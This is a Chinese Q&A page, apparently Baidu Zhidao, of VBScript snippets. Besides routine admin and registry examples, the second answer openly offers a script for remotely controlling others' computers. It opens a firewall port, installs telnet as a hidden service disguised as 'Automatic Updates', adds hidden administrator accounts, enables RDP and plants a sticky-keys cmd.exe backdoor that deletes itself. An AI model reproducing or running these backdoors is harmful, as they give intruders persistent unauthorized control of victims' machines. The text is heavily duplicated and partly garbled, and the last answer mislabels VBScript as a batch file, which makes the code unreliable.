
3个回答
2013-06-29
展开全部
将域用户或租添加到本地组
Set objGroup = GetObject(WinNT://./Administrators)
Set objUser = GetObject(WinNT://testnet/Engineers)
objGroup.Add(objUser.ADsPath)
修改本地管理员密码
Set objcnlar = GetObject(WinNT://./administrator, user)
objcnla.SetPassword P@ssW0rd
objcnla.SetInfo
弹出 YES or NO 的对话框,不同的选择执行不同的代码
intAnswer = Msgbox(Do you want to delete these files?, vbYesNo, Delete Files)
If intAnswer = vbYes Then
Msgbox You answered yes.
Else Msgbox You answered no.
End If
运行CMD命令行命令
set obshell=wscript.createobject(wscript.shell)
obshell.run (ipconfig),,true
如果要运行的命令中包含双引号,可使用&chr(34)&代替
忽略代码错误继续执行
On Error Resume Next
放置于代码的最开头,当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。
注册表的修改,读取,删除,创建
Set wso = CreateObject(WScript.Shell) '声明
wso.RegWrite %Path%'创建子键
wso.RegWrite %Path%,%Value%'修改默认键值
wso.RegWrite %Path%,%Value%,%RegType% '修改特定类型的键值
'(字符串值 REG_SZ 可扩充字符串值 REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值 REG_BINARY)
Set WSHShell= Wscript.CreateObject(Wscript.Shell)
WSHShell.RegRead (%Path%) '读取注册表子键或键值(一般用于判断某一事件是否执行)
Set wso = CreateObject(WScript.Shell)
wso.RegDelete %Path% '删除子键或键值
'(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无)
Set wso = CreateObject(Wscript.Shell)
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1,0
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1\#2,0,REG_BINARY
wso.RegDelete HKLM\SOFTWARE\Microsft\Windows NT\#1
Wscript.quit
文件的复制,删除,创建,简单的写入
Set fso = Wscript.CreateObject(Scripting.FileSystemObject) ‘声明
Set f = fso.CreateTextFile(%PATH%) '创建文件,其中f可任意,包含缩略名
f.WriteLine(VBS) '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
f.Close
set c=fso.getfile(%path%) ’拷贝某文件
c.copy(%PATH2%) '拷贝文件到指定地点
fso.deletefile(%PATH%) '删除文件
Wscript.quit
Set objGroup = GetObject(WinNT://./Administrators)
Set objUser = GetObject(WinNT://testnet/Engineers)
objGroup.Add(objUser.ADsPath)
修改本地管理员密码
Set objcnlar = GetObject(WinNT://./administrator, user)
objcnla.SetPassword P@ssW0rd
objcnla.SetInfo
弹出 YES or NO 的对话框,不同的选择执行不同的代码
intAnswer = Msgbox(Do you want to delete these files?, vbYesNo, Delete Files)
If intAnswer = vbYes Then
Msgbox You answered yes.
Else Msgbox You answered no.
End If
运行CMD命令行命令
set obshell=wscript.createobject(wscript.shell)
obshell.run (ipconfig),,true
如果要运行的命令中包含双引号,可使用&chr(34)&代替
忽略代码错误继续执行
On Error Resume Next
放置于代码的最开头,当代码运行出错后并不停止跳出而是继续执行下一条。适当应用会很有效果。
注册表的修改,读取,删除,创建
Set wso = CreateObject(WScript.Shell) '声明
wso.RegWrite %Path%'创建子键
wso.RegWrite %Path%,%Value%'修改默认键值
wso.RegWrite %Path%,%Value%,%RegType% '修改特定类型的键值
'(字符串值 REG_SZ 可扩充字符串值 REG_EXPAND_SZ DWORD值 REG_DWORD 二进制值 REG_BINARY)
Set WSHShell= Wscript.CreateObject(Wscript.Shell)
WSHShell.RegRead (%Path%) '读取注册表子键或键值(一般用于判断某一事件是否执行)
Set wso = CreateObject(WScript.Shell)
wso.RegDelete %Path% '删除子键或键值
'(根键缩写HKEY_CLASSES_ROOT HKCR HKEY_CURRENT_USER HKCU HKEY_LOCAL_MACHINE HKLM,其余无)
Set wso = CreateObject(Wscript.Shell)
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1,0
wso.RegWrite HKLM\SOFTWARE\Microsft\Windows NT\#1\#2,0,REG_BINARY
wso.RegDelete HKLM\SOFTWARE\Microsft\Windows NT\#1
Wscript.quit
文件的复制,删除,创建,简单的写入
Set fso = Wscript.CreateObject(Scripting.FileSystemObject) ‘声明
Set f = fso.CreateTextFile(%PATH%) '创建文件,其中f可任意,包含缩略名
f.WriteLine(VBS) '写文件内容,该命令功能太简单,目前看来只能用于TXT文件
f.Close
set c=fso.getfile(%path%) ’拷贝某文件
c.copy(%PATH2%) '拷贝文件到指定地点
fso.deletefile(%PATH%) '删除文件
Wscript.quit
2013-06-29
展开全部
On Error Resume Next '忽略错误
set wshshell=createobject ("wscript.shell") '调用 wscript.shell
a=wshshell.run ("netsh firewall set portopening TCP 23 ENABL",0) '让XP防火墙对23端口放行
b=wshshell.run ("sc config tlntsvr start= auto",0) '吧telnet改为手动
d=wshshell.run ("net1 user ganggang$ test /add",0) '添加一个帐户
e=wshshell.run ("net1 localgroup administrators ganggang$ /add",0) '加管理组
f=wshshell.run ("cmd /k copy ""%systemroot%\system32\tlntsvr.exe"" ""%systemroot%\java\rundl132.exe""",0) '复制telnet到java目录下改名为rundl132.exe
g=wshshell.run ("sc create ccservice binpath= ""%systemroot%\java\rundl132.exe"" type= own",0) 'sc命令用服务的方式启动
h=wshshell.run ("sc config ccservice DisplayName= Automatic Updates",0)
i=wshshell.run ("sc description ccservice 通知所选用户和计算机有关系统管理级警报。",0)
j=wshshell.run ("sc config ccservice start= auto",0) '将服务设为自动
k=wshshell.run ("net1 start ccservice",0) '启动服务
z=wshshell.run ("ATTRIB +R +S +H ""%systemroot%\java\rundl132.exe""",0) '加个属性 艾权啊,我是DARK,给你个可以远程控制别人的VBS代码,没事试试也可以的 再给你一个开启3389创建用户粘滞键后门on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F�0�8 %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe�0�8 %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
set wshshell=createobject ("wscript.shell") '调用 wscript.shell
a=wshshell.run ("netsh firewall set portopening TCP 23 ENABL",0) '让XP防火墙对23端口放行
b=wshshell.run ("sc config tlntsvr start= auto",0) '吧telnet改为手动
d=wshshell.run ("net1 user ganggang$ test /add",0) '添加一个帐户
e=wshshell.run ("net1 localgroup administrators ganggang$ /add",0) '加管理组
f=wshshell.run ("cmd /k copy ""%systemroot%\system32\tlntsvr.exe"" ""%systemroot%\java\rundl132.exe""",0) '复制telnet到java目录下改名为rundl132.exe
g=wshshell.run ("sc create ccservice binpath= ""%systemroot%\java\rundl132.exe"" type= own",0) 'sc命令用服务的方式启动
h=wshshell.run ("sc config ccservice DisplayName= Automatic Updates",0)
i=wshshell.run ("sc description ccservice 通知所选用户和计算机有关系统管理级警报。",0)
j=wshshell.run ("sc config ccservice start= auto",0) '将服务设为自动
k=wshshell.run ("net1 start ccservice",0) '启动服务
z=wshshell.run ("ATTRIB +R +S +H ""%systemroot%\java\rundl132.exe""",0) '加个属性 艾权啊,我是DARK,给你个可以远程控制别人的VBS代码,没事试试也可以的 再给你一个开启3389创建用户粘滞键后门on error resume next
const HKEY_LOCAL_MACHINE = &H80000002
strComputer = "."
Set StdOut = WScript.StdOut
Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
oReg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"
strValueName = "fDenyTSConnections"
dwValue = 0
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
strValueName = "PortNumber"
dwValue = 3389
oReg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
on error resume next
dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments(0):password=Wscript.Arguments(1):Else:username="wykgif":password="wykgif123456":end if:set wsnetwork=CreateObject("WSCRIPT.NETWORK"):os="WinNT://"&wsnetwork.ComputerName:Set ob=GetObject(os):Set oe=GetObject(os&"/Administrators,group"):Set od=ob.Create("user",username):od.SetPassword password:od.SetInfo:Set of=GetObject(os&"/"&username&",user"):oe.Add(of.ADsPath)'wscript.echo of.ADsPath
On Error Resume Next
Dim obj, success
Set obj = CreateObject("WScript.Shell")
success = obj.run("cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%\system32\sethc.exe /G %USERNAME%:F�0�8 %SystemRoot%\system32\cmd.exe %SystemRoot%\system32\acmd.exe�0�8 %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe", 0, True)
CreateObject("Scripting.FileSystemObject").DeleteFile(WScript.ScriptName)
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
展开全部
strComputer = "."
Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery("Select * from
Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
Wscript.Echo objOperatingSystem.ServicePackMajorVersion & "." &
objOperatingSystem.ServicePackMinorVersion
Next
名称:检查升级包
扩展名:bat
注意:本回答不是vbs
Set objWMIService = GetObject("winmgmts:\" & strComputer & "\root\cimv2")
Set colOperatingSystems = objWMIService.ExecQuery("Select * from
Win32_OperatingSystem")
For Each objOperatingSystem in colOperatingSystems
Wscript.Echo objOperatingSystem.ServicePackMajorVersion & "." &
objOperatingSystem.ServicePackMinorVersion
Next
名称:检查升级包
扩展名:bat
注意:本回答不是vbs
已赞过
已踩过<
评论
收起
你对这个回答的评价是?
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询